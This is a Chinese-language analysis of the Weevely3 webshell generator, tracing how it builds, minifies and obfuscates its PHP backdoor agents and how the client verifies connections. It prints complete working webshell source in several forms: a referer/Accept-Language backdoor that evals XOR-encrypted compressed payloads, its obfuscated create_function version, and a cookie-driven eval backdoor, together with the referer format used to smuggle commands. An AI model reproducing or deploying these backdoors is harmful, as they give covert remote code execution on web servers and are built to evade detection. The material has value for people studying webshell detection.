当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter()函数主要功能是随机生成一个命令,”echo”一个从11111到99999大小的随机整数,然后分别调用channels文件夹下的channel.py文件中的”send()”函数,然后在send()函数中把payload分别发送给legacycookie.py,legacyreferrer.py和stegaref.py三个Python文件中的”send()”函数同时返回Response,code,error的值, response, code, error = channel.send(command)
,通过对返回的Response和构造的echo的随机数是否相等来进行判断PHP shell能否直接运行,同时判断连接是否成功。
首先,当我们使用命令:weevely generate hello /var/www/html/testformd.php
来生成木马文件时,会调用generate()函数来生成木马。
def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):
其中,password为用户指定的密码, obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自己定义,用户可以自己编写自定义的模板放入weevely3-master/bd/obfuscator/和weevely3-master/bd/agent/目录下,然后命令中指定自定义的模板。 agent = Template(open(agent_path,'r').read()).render(password=password)
render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来,生成的源码为: $kh="5d41";
$kf="402a";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z$m[1]);$z++) $p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d$k>");
@session_destroy();
}
}
}
}
minified_agent = utils.code.minify_php(agent)
对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码为:$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z$m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d$k>");@session_destroy();}}}}
obfuscated = obfuscator_template.render(agent=agent)
这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。模糊处理完的文件源码为:$s='d5($R$i.$$Rkh),0,3));$R$f=$sl$R($ss(m$Rd5$R($i.$kf),0,3$R));$p$R$R="";for($R$z=1;$R$z<count($R$m[1]);$z$R++)$p.=$R$q[$m[$R';
$H='$Rses$Rsion_st$Rart();$s=&$_SES$RSION;$ss="$Rsub$Rs$Rtr";$sl="str$Rtolower$R";$i$R=$m[1$R][0]$R.$m[1][1];$R$h=$R$sl($ss($Rm';
$u='g_replac$Re(arr$Ray$R("/_/","/$R-/"),arr$Ray$R("/","+"$R),$$Rss($s[$i],0$R,$e)$R))$R,$k)));$$Ro=ob_$Rget_$Rcontents($R);ob_';
$V='$kh="$R5d41";$R$kf="402$Ra$R$R";function x($t,$$Rk){$c=st$Rr$Rlen($k);$l=st$Rrlen$R($t)$R;$o="";for$R($$Ri=0;$i<$$Rl;){$Rfor';
$E=';$R$q=a$Rrray_valu$Res($q);$Rpr$Reg_match$R_all("/($R[\\w])[$R\\w-]+(?:;$Rq=0$R.([\\d$R]))?$R,?/",$ra$R,$m);if($$Rq$R&&$m)$R{@';
$c='($j=$R0;($j<$R$c&&$R$$Ri<$R$l);$j++$R,$$Ri++){$o.=$t{$i$R}^$k{$j}$R;}}return$R $R$o$R;}$r=$_SERVER;$$Rrr=@$r[$R"HT$RTP_REFER';
$F='R$$Re=$Rstr$Rpos($s[$i],$f);if($R$e){$k=$k$Rh$R.$kf;ob_$Rsta$Rrt()$R;@ev$Ral(@gzuncom$Rpress(@x($R@bas$Re64_$Rdecode(pr$Re';
$P='$RER"];$$Rra=@$r["H$RTTP_AC$RCE$RPT_LA$RNGUAGE$R"];if($r$Rr&&$ra){$R$u=pars$Re$R_ur$Rl($rr);par$Rs$Re_str($$Ru["query"]$R,$q)';
$R='end_c$Rlean$R();$d=$Rbase$R64_en$Rcode(x(gzc$Rompress$R$R($o)$R,$k));pri$Rnt($R"<$R$$Rk>$R$d$k>");@sessi$Ron_destroy();}}}}';
$f='2][$R$z$R]];if(s$Rtrpos($p$R,$R$h)===0){$s[$i$R]="";$$Rp=$R$ss($p,3)$R;}if(arr$R$Ray_$Rkey_exists($i,$R$s$R)){$s[$i$R].=$p;$';
$U=str_replace('iV','','creiViVaiViVte_funciVtiiVon');
$X=str_replace('$R','',$V.$c.$P.$E.$H.$s.$f.$F.$u.$R);
$O=$U('',$X);$O();
?>
$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
从server中去取http协议请求头中的REFERER数据和ACCEPT_LANGUAGE数据,然后通过正则表达式preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m);
去匹配ACCEPT_LANGUAGE中的数组偏移量。$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));
来求出真正有用的payload的header和footer。@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
这个函数是用来解密payload,得到真正攻击的载荷命令。$d=base64_encode(x(gzcompress($o),$k));
把执行结果通过相同的方式进行加密,放在自己密码加密后的标签中print("<$k>$d$k>");
weevely3中默认生成的文件是以stegaref_php.tpl为模板和以obfusc1_php.tpl为混淆模板来进行后门文件生成。可以在weevely.py文件中对这两个参数进行修改换成以legacycookie_php.tpl为模板和cleartext1_php.tpl为混淆模板生成配合php文件。
直接对源代码进行跟踪调试
1. agent = Template(open(agent_path,'r').read()).render(password=password)
render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来初始php代码为:
u'$c="count";
$a=$_COOKIE;
if(reset($a)=="he" && $c($a)>3){
$k="llo";
echo "<$k>";
eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"), array("","+"), join(array_slice($a,$c($a)-3)))));
echo "$k>";
}
'
2. “minified_agent = utils.code.minify_php(agent)”对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码代码为:
'$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"$k>";}'
3. “obfuscated = obfuscator_template.render(agent=agent)”这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。生成的源码为
u'
$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"$k>";}
?>'
4.通过对php源代码的走读可以看出legacycookie_php.tpl模板执行结果放在<$k>$k>
标签中,标签中执行结果通过正则表达式匹配,然后进行base64解码获得。
_check_interpreter()
函数构造随机打印字符的payload,调用channel.py文件中的send()函数中代码response = self.channel_loaded.send(
payload,
self._additional_handlers()
)
向三种payload加密方式中分别发送payload。依次执行查看响应的Response_body的值是否与构造payload想打印的值相等来进行判断连接是否成功。response = opener.open(url).read()
得到响应体的值。判断:response = opener.open(url).read()
获得响应体。判断:self.extractor = re.compile("<%s>(.*)%s>" % (self.password[2:],self.password[2:]),re.DOTALL)
和代码data = self.extractor.findall(response)
进行匹配密码第三位至末尾和响应体中的标签是否一致,如果一致的话则连接密码正确验证成功,如果不一致说明连接密码错误验证不成功。
4. 前两次均失败则调用第三种payload加密方式,向legacyreferrer.py文件中的send()函数发送payload,第三种payload加密方式为构造referer头
referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2],urllib2.quote(self.url),self.query.strip(),payload[:third],payload[ third:thirds],payload[thirds:])
但是payload的加密方式依然为base64编码加密,所以密码正确与否的验证机制和第二种相同。